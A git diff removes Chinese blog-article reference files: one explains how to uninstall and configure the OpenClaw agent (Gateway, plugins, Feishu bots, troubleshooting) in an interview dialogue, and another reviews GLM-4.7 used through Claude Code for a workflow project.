发布了,我们可以在飞书群里新增一个机器人。 - -![](https://cdn.paicoding.com/paicoding/51bef754e452c8d2aa3a2b2f98a67538.png) - -复制 webhook 地址,发给 OpenClaw。 - -![](https://cdn.paicoding.com/paicoding/67069591123a2d05285a2e15cedf1b8c.png) - -配置成功。 - -![](https://cdn.paicoding.com/paicoding/348ef19505d3923488bac021cfbfb3ef.png) - -然后告诉大家 PaiFlow Agent 项目发布了。 - -![](https://cdn.paicoding.com/paicoding/25402980a0f3f35e83261f332d4de178.png) - -可以工作。 - -![](https://cdn.paicoding.com/paicoding/e678686e63f7f458e04bbe88b7500b2a.png) - -方便得很。 - -### 场景二:面试题每日一推 - -每天定时从题库中抽取一道面试题推送到群,附答案解析。 - -![](https://cdn.paicoding.com/paicoding/df15b154d00cecb859628a5d3ab67cb2.png) - -我没有告诉 OpenClaw 从哪里获取面渣逆袭,也没告诉它什么形式,但出来的效果我很喜欢。 - -![](https://cdn.paicoding.com/paicoding/69adbabcba28c153a900a6f093b6e044.jpg) - -并且文末的来源点击过去,真的就是二哥的 Java 进阶之路,非常 nice。 - -![](https://cdn.paicoding.com/paicoding/6b784a6e4fd5c206de9c8d4943e84d0f.jpg) - -对于准备面试的小伙伴,这个功能相当于每天帮你复习一个知识点。 - -## 09、ending - -以前我们用 ChatGPT,问它一个问题,它给你一段文字。 - -现在用 OpenClaw,你让它干一件事,它真的会去干。 - -读写文件、执行命令、操控浏览器,这些原本需要人手动操作的事情,AI 都能代劳了。 - -接入飞书之后,它更是变成了一个随时待命的数字员工。 - -你在群里@它一下,它就屁颠屁颠地跑来帮你干活。 - -这种体验,和打开一个网页版聊天框完全不一样。 - -【**当 AI 从回答问题变成解决问题,我们离真正的效率革命就更近了一步**。】 - -如果你也想体验这种指挥 AI 干活的感觉,跟着这篇教程走一遍就行。 - -很多小伙伴在等,等AI更成熟,等有人教,等公司培训。但我想告诉大家的是,努力先走出去第一步,你的认知、你的生产力也许就会发生翻天覆地的变化。 - diff --git a/.claude/skills/ai-article/references/OpenClaw-unstall.md b/.claude/skills/ai-article/references/OpenClaw-unstall.md deleted file mode 100644 index a374ed8cdb..0000000000 --- a/.claude/skills/ai-article/references/OpenClaw-unstall.md +++ /dev/null @@ -1,733 +0,0 @@ -老王开门见山地问:“卸载过 OpenClaw 吗?” - -我和老王四目相对那一刻,我懂他想要的答案:“必须啊,老 6 了。” - -像 QClaw、PicoClaw、ArkClaw、澳龙各种虾的安装部署,我都驾轻就熟。 - -![](https://cdn.paicoding.com/stutymore/sucai-b71acb8b60e5137ae6ebf3f7aac1cfdc.jpg) - -当然了,如果想省掉 299 的卸载费,我还可以一条龙服务到底,不在话下。 - -卸载命令我都能倒背如流。 - -但说真的,王哥,OpenClaw 的出现确实解放了我的生产力。 - -你别听风就是雨啊。工具本身没有好坏,看的是应用场景。 - -像我,现在审核 gitcode 账号再也不用亲自去找了,直接把昵称丢到飞书,爱丢几个丢几个,我的龙虾一号 PaiGit 员工很快就能帮我搞定。 - -![](https://cdn.paicoding.com/stutymore/sucai-20260312102911.png) - -“逗逗你的呀,别那么上头。”老王摸了摸他的光头,捋了捋他的胡子,“那我问你:卸载 OpenClaw 的完整流程是什么?别给我整一条命令就完事。” - -## content - -### 01、卸载龙虾的命令是什么? - -“王哥,你这个问题问得好。很多人以为卸载就是跑一条 `npm uninstall -g openclaw`,错。” - -这样卸载不干净,残留文件会藏在系统的各个角落,下次重装的时候各种报错——端口被占用、配置冲突、插件加载失败,一堆莫名其妙的问题。 - -正确的卸载姿势分三步。 - -#### 第一步:停止 Gateway 服务 - -```bash -openclaw gateway stop -``` - -如果 Gateway 正在跑任务,强制停止可能会丢数据。建议先检查状态: - -```bash -openclaw gateway status -``` - -确认显示 `stopped` 再继续。 - - -![](https://cdn.paicoding.com/paicoding/feba6610f1d56038d87c8524c49cebc7.jpg) - - -#### 第二步:执行官方卸载命令 - -```bash -openclaw uninstall -``` - -这个命令会弹出一个交互界面,让你选择要删除哪些内容。用空格键全选,然后回车确认。它会帮你: - -- 停止并卸载 Gateway 服务 -- 删除 `~/.openclaw/` 状态目录 -- 清理工作区配置 -- 移除插件和缓存 - - -![](https://cdn.paicoding.com/paicoding/0303e1405a781412f0ff76650bc43f6e.png) - - -#### 第三步:移除全局 CLI 包 - -```bash -npm rm -g openclaw -``` - -如果你用的是 pnpm 或 bun,对应换成: - -```bash -pnpm rm -g openclaw -# 或 -bun rm -g openclaw -``` - -遇到权限错误就加 `sudo`。 - -老王点点头:“那卸载后怎么验证干净?” - -我说:“执行以下命令,确认没有残留:” - -```bash -# 检查全局包 -npm list -g openclaw - -# 检查目录 -ls ~/.openclaw/ - -# 检查端口占用 -lsof -i:18789 -``` - -全部返回空或“not found”,才算卸载干净。 - -老王听完点点头:“行,卸载这块确实熟。那我追问一下,`~/.openclaw/` 目录里都有什么?为什么删这个目录这么重要?” - -### 02、龙虾的核心目录架构了解吗? - -“王哥,你这是要考我架构啊。” - -`~/.openclaw/` 是 OpenClaw 的“神经中枢”,里面存放着所有配置和状态。 - -```bash -~/.openclaw/ -├── openclaw.json # 全局配置文件 -├── gateway/ # Gateway 相关 -│ ├── config.json # Gateway 配置 -│ ├── logs/ # 日志目录 -│ └── pid # 进程 ID 文件 -├── plugins/ # 插件目录 -│ ├── @openclaw/ # 官方插件 -│ └── @wecom/ # 第三方插件 -├── workspaces/ # Agent 工作区 -│ ├── default/ # 默认 Agent -│ └── paigit/ # 自定义 Agent -├── skills/ # 技能包 -├── cache/ # 缓存目录 -└── .env # 环境变量 -``` - -![](https://cdn.paicoding.com/paicoding/6f12bbe4511f9ff26672931132a0f3ef.png) - -老王继续追问:“这里面的每个目录都有什么用?你挑重点讲。” - -#### openclaw.json:全局配置文件 - -这是 OpenClaw 的“大脑配置中心”。 - -```json -{ - "version": "2026.3.2", - "gateway": { - "port": 18789, - "auth": "token", - "host": "0.0.0.0" - }, - "channels": { - "feishu": { - "appId": "cli_xxx", - "appSecret": "xxx" - }, - "wecom": { - "botId": "xxx", - "secret": "xxx" - } - }, - "model": { - "provider": "glm", - "profile": "coding-plan", - "defaultModel": "glm-5" - }, - "plugins": [ - "@openclaw/feishu-plugin", - "@wecom/wecom-openclaw-plugin" - ] -} -``` - -里面记录了: - -- **Gateway 配置**:监听端口、认证方式、绑定地址 -- **IM 通道配置**:飞书、企微等应用的凭证 -- **大模型配置**:提供商、套餐、默认模型 -- **插件列表**:已安装的插件及其加载顺序 - -王哥追问:“Gateway 配置里的 `auth: "token"` 是什么意思?Gateway 到底是干什么的?” - - - -![](https://cdn.paicoding.com/paicoding/9df792d26db950bf764a87fa1e6807ec.png) - - - -#### Gateway:消息路由中枢 - -“王哥,Gateway 是 OpenClaw 架构里最关键的设计。” - -很多人用 OpenClaw,只知道装完跑 `openclaw gateway start`,但不知道 Gateway 到底在干啥。 - -简单说,Gateway 是一个**常驻后台的消息路由服务**。 - -它的职责有三层: - - -![](https://cdn.paicoding.com/paicoding/fb951ffd139e684e77d8c8e1211983c3.png) - - -**第一层:接收消息** - -你在飞书群里@机器人,飞书会把消息推送到 Gateway。Gateway 收到后,解析消息内容,识别是哪个 Agent、哪个会话。 - -**第二层:分发任务** - -Gateway 把消息路由给对应的 Agent 处理。如果你配置了多个 Agent(比如一个负责代码审核,一个负责会员审批),Gateway 会根据消息来源判断该交给谁。 - -**第三层:返回结果** - -Agent 处理完任务后,把结果交给 Gateway,Gateway 再通过 IM 通道发回飞书。 - -``` -飞书消息 → Gateway → Agent → 大模型 → Agent → Gateway → 飞书回复 -``` - -老王听完眼睛一亮:“小伙子有水平啊。为什么要这样分层?Gateway 和 Agent 为什么不耦合在一起?” - -我说:“解耦。Gateway 负责 IM 通信,Agent 负责任务执行。这样你可以一个 Gateway 挂多个 Agent,每个 Agent 用不同的模型、跑不同的任务,互不干扰。” - -老王点点头:“那如果 Gateway 挂了怎么办?有没有高可用方案?” - -我说:“王哥,你这问题越来越深了。目前 OpenClaw 官方没有提供高可用方案,Gateway 是单点的。如果要上生产,我的建议是:” - -- Gateway 集群部署,用负载均衡器分发请求 -- 会话状态下沉到 Redis,Gateway 无状态 -- 多实例之间用分布式锁协调任务执行 - -老王若有所思:“那插件呢?OpenClaw 的插件机制是怎么跑的?” - -#### 插件体系:微内核架构 - -我说:“OpenClaw 采用的是微内核架构。” - -核心只提供最基础的能力——消息收发、任务调度、工具调用。其他功能全部通过插件扩展。 - -- 飞书支持?插件。 -- 企微支持?插件。 -- 文档处理?插件。 - -插件安装在 `~/.openclaw/plugins/` 目录下,每个插件是一个独立的 npm 包。 - -```bash -# 安装飞书插件 -openclaw plugins install @openclaw/feishu-plugin - -# 安装企微插件 -openclaw plugins install @wecom/wecom-openclaw-plugin - -# 查看已安装插件 -openclaw plugins list -``` - - -![](https://cdn.paicoding.com/paicoding/9beb0e555a8c59e9dd938556c6789f56.jpg) - - -老王追问:“插件加载的时机是什么?Gateway 启动的时候?如果两个插件对同一条消息都想处理,怎么解决冲突?” - -我说:“对,Gateway 启动时会扫描 plugins 目录,按 openclaw.json 里的顺序加载所有插件。每个插件会注册自己的消息处理器和工具函数。” - -“冲突解决靠优先级机制——openclaw.json 里可以设置插件优先级,优先级高的先处理。另外每个插件有自己的命名空间,互不干扰。” - -老王满意地点点头:“架构这块讲清楚了。那我再问你——Gateway 的生命周期管理是怎样的?启动、停止、重启流程是什么?中间有什么坑?” - -#### Gateway 的生命周期管理 - -我说:“王哥,这个问题很实用,很多人踩过坑。” - -**启动 Gateway** - -```bash -openclaw gateway start -``` - -启动时会做几件事: - -1. 加载 `openclaw.json` 配置 -2. 扫描并加载插件 -3. 初始化 IM 通道(连接飞书、企微等) -4. 启动 HTTP 服务监听端口 -5. 写入 pid 文件 - -**检查 Gateway 状态** - -```bash -openclaw gateway status -``` - -会显示: - -- 运行状态(running / stopped) -- 进程 ID -- 监听端口 -- 已加载的插件数量 - -**停止 Gateway** - -```bash -openclaw gateway stop -``` - -如果 Gateway 卡住,可以强制停止: - -```bash -openclaw gateway stop --force -``` - -或者直接杀进程: - -```bash -kill $(cat ~/.openclaw/gateway/pid) -``` - -**重启 Gateway** - -修改配置后需要重启: - -```bash -openclaw gateway restart -``` - -老王追问:“启动的时候常见的报错有哪些?怎么排查?” - -我说:“最常见的有三个问题。” - -**问题一:端口被占用** - -```bash -Error: Port 18789 is already in use -``` - -解决方法: - -```bash -# 查看谁占用了端口 -lsof -i:18789 - -# 杀掉占用进程 -kill -9 -``` - -**问题二:插件加载失败** - -```bash -Error: Failed to load plugin @openclaw/feishu-plugin -``` - -解决方法: - -```bash -# 重新安装插件 -openclaw plugins uninstall @openclaw/feishu-plugin -openclaw plugins install @openclaw/feishu-plugin -``` - -**问题三:配置文件损坏** - -```bash -Error: Invalid JSON in openclaw.json -``` - -解决方法:检查 JSON 格式,或者直接删掉重新配置。 - -老王点点头:“那消息流转呢?当你在飞书群里@机器人时,消息是怎么流转到 Agent 并返回结果的?整个链路涉及哪些组件?” - -### 03、消息流转的完整链路 - -我说:“王哥,是这样的。” - -![](https://cdn.paicoding.com/paicoding/84bf6b684cf0aef5a6df17e0086adc07.png) - - -**第一步:事件订阅** - -飞书把消息推给 Gateway。这需要在飞书开放平台配置事件订阅,开启 `im.message.receive_v1` 事件。 - -**第二步:消息解析** - -Gateway 收到消息后,解析消息内容,识别来源(哪个群、哪个用户)和意图(要干什么)。 - -**第三步:路由分发** - -根据 bindings 配置,把消息发给对应的 Agent。如果你配置了多个 Agent,Gateway 会根据消息来源判断该交给谁。 - -**第四步:执行任务** - -Agent 调用大模型处理任务。如果是复杂任务,Agent 会拆解成多个步骤,一步步执行。 - -**第五步:结果返回** - -Gateway 把结果通过 IM 通道返回给飞书。 - -老王追问:“那状态是怎么维护的?多轮对话的上下文存在哪里?” - -我说:“会话上下文存在 `~/.openclaw/workspaces//memory/` 目录下。每次对话会序列化保存,Gateway 重启后可以恢复。多轮对话用 session_id 标识,防止串台。” - -老王接着问:“如果同时有 100 个用户@机器人,Gateway 怎么处理并发?” - -我说:“Gateway 用异步非阻塞 IO 处理请求。每个消息生成唯一 request_id,防止混淆。Agent 执行队列化,避免资源竞争。” - -老王点点头:“那 Agent 响应很慢怎么办?有没有优化方案?” - -我说:“有几种优化思路:” - -- 换更快的模型(比如 GPT-5.4) -- 简化 BOOT.md 里的指令 -- 用流式输出,边生成边返回 -- 复杂任务后台异步执行,先返回 ACK - -老王听完感慨:“你这理解得够深的。那我再问你一个实际应用的问题,你用 OpenClaw 干过什么真实的业务场景?别给我整那些 demo。” - -### 04、真实业务场景:gitcode 账号批量审核 - -我说:“王哥,这个问题问到我心坎里了。” - -讲一个真实的场景——技术派(paicoding.com)的 gitcode 账号审核。 - -技术派加入的会员需要开通 gitcode 代码仓库的访问权限。以前这个流程是这样的: - -1. 会员申请加入 -2. 我收到通知 -3. 手动打开 gitcode 后台 -4. 搜索用户昵称 -5. 添加到对应的项目组 -6. 发消息通知会员审核通过 - -一个账号还好,如果一次来 20 个呢?光这个流程就要折腾半小时。 - -现在呢?我把这个任务交给了 OpenClaw。 - -**第一步:创建一个专属 Agent** - -```bash -openclaw agents add PaiGit --workspace ~/openclaw-workspaces/paigit -``` - -**第二步:配置 BOOT.md 告诉 Agent 它的职责** - -```markdown -# PaiGit 职责 - -你是技术派的 gitcode 账号审核助手。 - -当收到飞书消息包含用户昵称时: - -1. 登录 gitcode 后台 -2. 搜索用户 -3. 添加到技术派-会员组 -4. 回复审核结果 -``` - -**第三步:绑定飞书通道** - -在飞书群里,我直接发消息: - -> 帮我审核以下用户:张三、李四、王五 - -OpenClaw 收到消息后,自动执行整个审核流程。20 个账号,1 分钟搞定。 - - -![](https://cdn.paicoding.com/paicoding/546761700b65d9c224a0fac06c849ed1.png) - - -老王听完眼睛都直了:“这效率提升有点狠啊。” - -我说:“还不止。我还给它设了定时任务,每天早上 9 点自动检查有没有新的待审核申请,有的话直接处理,处理完推送到飞书群。” - -老王来了兴趣:“还有没有别的场景?” - -### 05、场景二:飞书群消息同步 - -我又给他讲了一个——飞书群消息同步。 - -技术派有好几个飞书群:开发群、运营群、会员群。有时候一个群里发的消息需要同步到其他群,比如新功能上线通知。 - -以前的做法是:手动复制粘贴,或者用飞书的转发功能。但转发格式不好看,而且容易漏。 - -现在我用 OpenClaw 搞定了这个流程。 - -#### 配置 Webhook - -每个飞书群都有一个 Webhook 地址,可以在群设置里找到。 - -把这些 Webhook 地址告诉 OpenClaw: - -> 记住以下群的 Webhook 地址: -> -> - 开发群:https://open.feishu.cn/open-apis/bot/v2/hook/xxx -> - 运营群:https://open.feishu.cn/open-apis/bot/v2/hook/yyy -> - 会员群:https://open.feishu.cn/open-apis/bot/v2/hook/zzz - -#### 发送同步指令 - -> 在开发群、运营群、会员群同时发送:派聪明 v2.0 今天上线了,新增了 AI 面试助手功能,大家快去体验! - - -![](https://cdn.paicoding.com/paicoding/5895cb073400a3539381ac2c34a6773d.jpg) - - -OpenClaw 会自动调用 Webhook,把消息发到三个群。 - -老王点点头:“这个场景实用,省得一个个群转发。” - -## 06、场景三:定时任务推送 - -“定时任务呢?你刚才说的每天早上 9 点给你推送最新的 hacknews 消息,是怎么实现的?” - -OpenClaw 支持用自然语言创建定时任务。 - -直接告诉它: - -> 每天早上 9 点,检查有 hacknews 有没有好玩的AI讯息,整理一下发送给我。 - - -![](https://cdn.paicoding.com/paicoding/690d19632d84103a128a392c5f7b9637.png) - - -OpenClaw 会创建一个定时任务,到点自动执行。 - -定时任务的底层实现是 cron。OpenClaw 会把自然语言转成 cron 表达式,然后在后台调度执行。 - -老王追问:“定时任务如果执行失败了怎么办?有没有重试机制?” - -我说:“目前 OpenClaw 没有内置重试机制,但可以通过 BOOT.md 里加错误处理逻辑来实现。比如告诉 Agent:'如果任务执行失败,等待 5 分钟后重试,最多重试 3 次'。” - -“另外,定时任务执行结果会记录到日志里,可以在 `~/.openclaw/gateway/logs/` 目录下查看。” - -老王听完感慨:“这三个场景都挺实用的,不是那种为了用工具而用工具。” - -### 07、大模型集成的工程化问题 - -老王话锋一转:“那我再问你一个方向——OpenClaw 需要调用大模型 API,在实际使用中,你遇到过哪些问题?比如 token 限制、响应延迟、费用控制。你是怎么解决的?” - -我说:“王哥,这个问题太实际了,我踩过不少坑。” - -#### token 优化 - -OpenClaw 烧 token 是真的快。一个稍微复杂的任务,Agent 在后台可能调用十几轮甚至几十轮大模型。 - -我的优化方法: - -- **prompt 压缩**:去除冗余信息,只传必要上下文 -- **上下文裁剪**:只保留最近 N 轮对话 -- **结果缓存**:相同问题直接返回缓存结果 - -#### 响应加速 - -大模型响应慢是通病。我的方案: - -- **流式输出**:边生成边返回,减少用户等待 -- **异步处理**:复杂任务后台执行,先返回 ACK -- **模型选择**:简单任务用 Lite 模型,复杂任务用 Pro 模型 - -#### 费用控制 - -这个最头疼。我的做法: - -- **配额管理**:每天/每月设置 token 上限 -- **成本追踪**:记录每个任务的 token 消耗 -- **自动降级**:额度用完时切换到便宜模型 - -老王追问:“如果大模型 API 挂了怎么办?有没有降级方案?” - -我说:“有。大模型挂了,切换到本地模型(比如 Qwen)。网络不通,用缓存兜底。超时处理,返回友好提示而非报错。” - -### 08、生产环境部署的考量 - -老王最后问了一个很实际的问题:“如果让你把 OpenClaw 部署到生产环境,你会考虑哪些问题?” - -我说:“王哥,这个问题我能讲半小时。我挑重点说。” - -**高可用** - -- Gateway 集群部署,用负载均衡器分发请求 -- 会话状态下沉到 Redis,Gateway 无状态 -- 多实例之间用分布式锁协调任务执行 - -**监控** - -- Gateway 层:监听端口、连接数、QPS -- Agent 层:任务执行成功率、平均响应时间 -- 模型层:token 消耗、费用统计、模型调用成功率 - -**日志** - -- 按模块分割日志(gateway.log、agent.log、plugin.log) -- 关键操作记录审计日志 -- 日志轮转和归档(保留 30 天) - -**安全** - -- API Key 加密存储,支持动态轮换 -- 插件白名单机制,只允许官方插件 -- 网络隔离,Gateway 只对外暴露必要端口 - -老王点点头:“最后一个问题——你在用 OpenClaw 的过程中踩过什么坑?怎么排查的?” - -### 09、常见问题排查实战 - -我说:“我挑几个最典型的说。” - -#### 问题一:Gateway 启动后收不到消息 - -老王问:“这个怎么排查?” - -我说:“分三步走。” - -**第一步:检查日志** - -```bash -cat ~/.openclaw/gateway/logs/error.log -``` - -看有没有报错信息。常见错误有:飞书 App ID 填错、权限没开通、事件订阅没配置。 - -**第二步:检查通道状态** - -```bash -openclaw channels status -``` - -看飞书/企微通道是不是正常连接。 - -**第三步:检查飞书配置** - -去飞书开放平台,确认: - -- 事件订阅已开启 -- `im.message.receive_v1` 事件已添加 -- 长链接模式已启用 - - -![](https://cdn.paicoding.com/paicoding/9087d3c5b7edeb229f72ef37bf0f1835.png) - - -#### 问题二:模型调用失败 - -老王问:“这个呢?” - -我说:“模型调用失败一般是三个原因:” - -**原因一:API Key 无效或过期** - -去大模型平台检查 API Key 状态,必要时重新生成。 - -**原因二:额度用尽** - -如果是 Coding Plan 套餐,检查本月额度是否用完。用完了要么等下个月,要么升级套餐。 - -**原因三:网络问题** - -```bash -# 测试网络连通性 -curl -I https://open.bigmodel.cn -``` - -如果连不上,检查代理配置或防火墙设置。 - -#### 问题三:Agent 响应很慢 - -老王问:“响应慢怎么优化?” - -我说:“分情况处理。” - -**如果是模型推理慢**: - -- 换更快的模型(Doubao-Seed-2.0-Lite 比 Pro 快 30%) -- 简化 prompt,减少 token 数量 -- 开启流式输出,边生成边返回 - -**如果是任务执行慢**: - -- 拆分大任务,分批执行 -- 用缓存减少重复计算 -- 后台异步执行,先返回 ACK - -**如果是网络延迟**: - -- 用离你最近的模型服务节点 -- 检查网络链路,优化代理配置 - -#### 问题四:多 Agent 消息串台 - -老王问:“这个我遇到过,怎么解决?” - -我说:“多 Agent 串台是因为 bindings 配置不清晰。” - -在 `openclaw.json` 里用 `bindings` 字段明确指定每个 Agent 对应的通道: - -```json -{ - "bindings": [ - { - "agentId": "PaiGit", - "match": { - "channel": "feishu", - "appId": "cli_xxx" - } - }, - { - "agentId": "PaiReview", - "match": { - "channel": "feishu", - "appId": "cli_yyy" - } - } - ] -} -``` - -这样 Gateway 收到消息时,会根据 App ID 精准路由到对应 Agent,不会串台。 - -老王听完感慨:“你这排查思路挺清晰的,不是那种遇到问题就懵的人。” - -我说:“王哥,这都是踩坑踩出来的经验。OpenClaw 文档虽然全,但很多问题得自己摸索。” - -老王沉默了两秒,然后说:“你什么时候能来上班?” - -## ending - -不瞒大家说,有小伙伴最近去面试,的确有遇到面试官问 OpenClaw 的,可惜他之前没有准备,后悔不已。 - -![](https://cdn.paicoding.com/stutymore/sucai-d5ac99a33e185fdc11eaaa191d5230a8.jpg) - -这波浪就在眼前。 - -你冲,它在眼前。你不冲,它仍在眼前。 - -重要的是应用场景,为你所用。 - -假如你没有应用场景,也没必要硬凑。没有龙虾的日子,也许会更幸福一点。 - -反正我爸每天就是打打牌,晒晒太阳,我就很羡慕他。 - -当然了,有龙虾的日子,我也过得很幸福。因为它确实有帮助到我——一个简单的 gitcode 账号审核,就帮了我大忙。 - -【**工具的价值,不在于它有多火,而在于它能不能帮你解决真实的问题。**】 - -我们下期见,冲啊! \ No newline at end of file diff --git a/.claude/skills/ai-article/references/glm4-7.md b/.claude/skills/ai-article/references/glm4-7.md deleted file mode 100644 index e4efc6be9a..0000000000 --- a/.claude/skills/ai-article/references/glm4-7.md +++ /dev/null @@ -1,274 +0,0 @@ -# 实测GLM-4.7,我想给他当股东了 - -大家好,我是二哥呀。 - -这几天,相信大家肯定都被一个产品刷屏了。 - -GLM-4.7。 - -就是这个后端工程能力媲美 Claude Sonnet 的国产大模型。 - -![GLM-4.7的截图](https://cdn.paicoding.com/stutymore/glm4-7-4ca8dabe462f354687f5f6028c6eb81b.png) - -总参数 355B,专门面向 Coding 场景强化了编码、长程任务规划等能力,目前已在 Hugging Face、ModelScope 开源部署! - -![榜一](https://files.mdnice.com/user/3903/8153c477-d26f-4e18-a582-a7c186e32082.jpg) - -真不是我在刻意吹捧。你瞧,老外都在 x 上盛赞:GLM-4.7 超越了 Claude-Sonnet-4.5 和 GPT-5。 - -![老外盛赞 GLM-4.7](https://files.mdnice.com/user/3903/a9f9aaea-1137-4298-b02b-26dc986b30f2.jpg) - -这是一个了不起的成绩! - -下面是我通过 GLM-4.7 完成的一个 Agent 项目,可以实现工作流的拖拉编排。 - -![](https://files.mdnice.com/user/3903/76d859ed-c1f5-457b-a7b2-edfaef18fbc6.png) - -## 01、使用 Claude Code 接入 GLM-4.7 - -搞不懂,Claude 明明很封闭,直接断供 Open Code,逼着 Clawdbot 改名 Moltbot。 - -但 Claude Code 的模型调用层,却是可配置、可替换的。我们只需要在 `.claude/settings.json` 中把 ANTHROPIC_AUTH_TOKEN 替换为 GLM-4.7 的 API Key 就可以了。 - -另外一个配置项 ANTHROPIC_BASE_URL 的值固定为 `https://open.bigmodel.cn/api/anthropic`。 - -![](https://files.mdnice.com/user/3903/b2faefbb-9476-4128-8e13-299a9366ec8c.png) - -一点都不难吧? - -保存后,重启 Claude Code,输入 `/status`,如果看到 BigModel.cn 的身影,就说明配置成功了。 - -![](https://files.mdnice.com/user/3903/0e2ae8a6-d341-4b3c-9183-00ac273aaf7a.png) - -给自己比个耶吧! - -从此以后,你将拥有一个无所不能的 Agent,可以帮你写代码、修 bug、读源码,甚至可以帮你搭建项目骨架、部署生产环境上线等。 - -## 02、GLM-4.7 的后端工程能力 - -前置环境搞定后,我们直接来新增需求,很简单一句话,我们看看 GLM-4.7 是否能够通情达理,get 到我们的诉求。 - -> 我现在需要在大模型节点下新增一个智谱节点 - -tips:拒绝花里胡哨的提示词,真正检验大模型的能力😄 - -![](https://files.mdnice.com/user/3903/33109199-6cac-4113-b0a7-48c71f6db686.png) - - -能看到,GLM-4.7 会先探索我们的代码库,了解当前大模型节点的实现结构。 - -这一点至关重要,就好像我们打算出远门,总要去地图上看看路线,是吧,搞清楚目标和路线后再动手,免得返工。 - -遇到需要权限的诉求,我们直接给它。 - -![](https://files.mdnice.com/user/3903/b3240935-eee8-40fa-b90a-5a1132a40289.png) - -搞清楚工作流的执行引擎后,GLM-4.7 开始查看数据库和前端代码,非常严谨。 - -![](https://files.mdnice.com/user/3903/7972d192-c146-42a4-a450-3ab5d52e121c.png) - -前后端的代码+数据库搞清楚后,开始正式写代码。真正做到了“先思考、再行动”。 - -![](https://files.mdnice.com/user/3903/55396f3c-88da-49b9-a7ce-2bf1ca0d3404.png) - -有代码需要调整的地方,也会清楚的告诉我们。 - -![](https://files.mdnice.com/user/3903/ba6c1ade-1c9f-4314-923f-9de0bb765345.png) - -我选择全权交给 GLM-4.7 来处理,我只要最后的结果,不过在历史上下文当中,我们也可以再次确认都在哦了哪些修改,一目了然。 - -![](https://files.mdnice.com/user/3903/4213fa33-9eb4-4083-b5a0-b73a7a5b0854.jpg) - -和其他模型有很大的不同,GLM-4.7 非常非常负责任,除了完成你需要他干的活,还会自动检查其他哪些地方需要修改。 - -![](https://files.mdnice.com/user/3903/b30454f9-1b10-436f-9773-ada8bb2f3a21.png) - -所有的任务都搞定后,会给我们列一个任务完成清单。 - -![](https://files.mdnice.com/user/3903/d47be429-54fe-4ceb-8ea6-6ce750326d38.png) - -好,我们直接来看一下效果,完全符合我的预期啊,这可不是闹着玩的 demo 项目,而是一个完全可以运行的工作流编排项目,也是当前最火的 AI 业务之一。 - -![](https://files.mdnice.com/user/3903/2522c463-b952-476f-9c1f-3dc3c92fa923.png) - -竟然一次性搞定了! - -从整个交互体验来看,GLM-4.7 更习惯站在“任务交付”的视角,而不是“回答问题”的视角。它给出的不再是零散代码片段,而是: - -- 明确的模块划分 -- 可运行的代码骨架 -- 清楚的依赖关系和执行顺序 -- 对边界情况的主动补充说明 - -这种感觉很像一个工程经验老道的同事,而不是一个只会补全代码的工具。 - -有意思,有意思,越来越有意思了。 - -## 03、GLM-4.7 的 bug 修复能力 - -考验 GLM-4.7 的时候到了,因为真正能拉开差距的地方,真不是第一次写代码的时候,而是出问题之后,能不能把 bug 给收拾干净。 - -接口报错、鉴权失败、参数不对、依赖冲突,这些东西不可能一次写对。 - -GLM-4.7 给我的体感非常明确:他不是在“猜怎么改”,而是顺着错误把问题先定位一遍。 - -比如我在调试过程中遇到了一个很典型的 API 鉴权问题,请求已经发出,但却响应失败了。我没去分析日志,也没有补充额外解释,而是简单粗暴把错误堆栈原样丢给 GLM-4.7。 - -![](https://files.mdnice.com/user/3903/5c53d34d-112d-4da0-92bd-0893ec5d5a3d.png) - -GLM-4.7 没有着急去改代码,而是先判断: - -- 是 Key 配置问题,还是 Header 拼错? -- 是鉴权方式不匹配,还是请求路径有误? -- 当前代码和官方示例是否存在实现差异? - -这个思考方式,就有点老员工的“工程化”思维了。然后在定位到问题之后,他会明确告诉我们:这里还是那里不对、为什么不对、应该怎么改。 - -这里顺手分享一个非常实用的小技巧,可能很多人都忽视了。如果你发现第一次请求发出后,还有一些信息需要补充,可以在 GLM-4.7 返回结果前直接再输入一次附加信息。 - -![](https://files.mdnice.com/user/3903/065c226a-f9c5-4bdb-ad76-a8994b07e577.png) - -还有一种场景,不知道大家有没有注意到。在修 bug 时非常常见:当前实现和官方 demo 对不上。 - -这时候最省事的方式就是——把官方代码示例直接丢给 GLM-4.7。这其实也在考验我们的 Vibe Coding 能力,能不能必要时刻给 AI 一个明确的指示。 - -省得他在那瞎琢磨。 - -这一步的价值在于:我们不需要自己一点点 diff 官方和实现的差异,模型会主动帮我们把“意图”和“实现”对齐。 - -![](https://files.mdnice.com/user/3903/0b841cc0-d755-4056-bade-f10a2834ae5e.png) - -当然,bug 修完不是终点,它还会自己检查一遍。这一点,是我觉得 GLM-4.7 非常加分的地方。 - -当你以为事情已经结束了,它往往会多做一步:扫一遍有没有遗漏的地方。 - -- 是否还有调用链没改干净? -- 是否有前端或数据库字段需要同步调整? -- 是否存在潜在的边界问题? - -![](https://files.mdnice.com/user/3903/532dfeef-3ee2-4404-90d3-6fe8d29b898e.png) - -等所有地方都确认无误之后,他才会给你一个完整的修改清单。 - -讲良心话,我试过其他的模型,这种自我反思的能力就差点意思,经常是你让他改一个地方,他就改一个地方。 - -殊不知,bug 就藏着这里面,因为有很多时候,代码都是联动的,牵一发而动全身。 - -老程序员经常告诫我们:勿动屎山,就是因为屎山虽然臭,但它是能运行的。你以为你改好了,实际上 P0 事故可能离你不远了。😄 - -我们人的精力毕竟有限,但大模型不一样啊,无非就是费点token。 - -好,我们来看一下修改后的效果,非常 nice。一个完整的输入 →llm 大模型 → 超拟人合成 → 输出的工作流编排就算是完成了。 - -![](https://files.mdnice.com/user/3903/cd5005f4-eaaf-4198-9ea0-91aa9d3236c7.png) - -## 04、GLM-4.7 的前端工程能力 - -现在的执行状态,是等所有节点都跑完之后,前端一次性展示结果。 - -但从用户体验上来说,状态流转应该是一个动态过程: - -- LLM 节点开始执行 → 执行中 → 执行完成 -- 接着切换到 TTS 节点 → 执行中 → 执行完成 -- 最后到结束节点,整体流程结束 - -我们把需求直接扔给 GLM-4.7: - -> 现在有个问题,我发现,执行状态、节点执行结果都是等所有节点都执行完后才显示出来的,实际上这应该是一个动态的过程,llm 节点开始执行的时候执行状态就切到 llm 节点开始执行、执行中、执行结束,然后到 tts 的开始执行、执行中、执行结束,最后到结束节点,这应该是实时响应的。前后端需要联调起来。 - -面对这个问题,GLM-4.7 并没有一上来就写代码,而是先明确了一点:这是一个典型的「执行状态实时推送」问题,技术上可以用 SSE,也可以用 WebSocket。 - -![](https://files.mdnice.com/user/3903/b5479227-d9fe-446e-96db-171d552c15d6.png) - -为了方便后期能够主动中断工作流的执行,GLM-4.7 选择了 WebSocket。 - 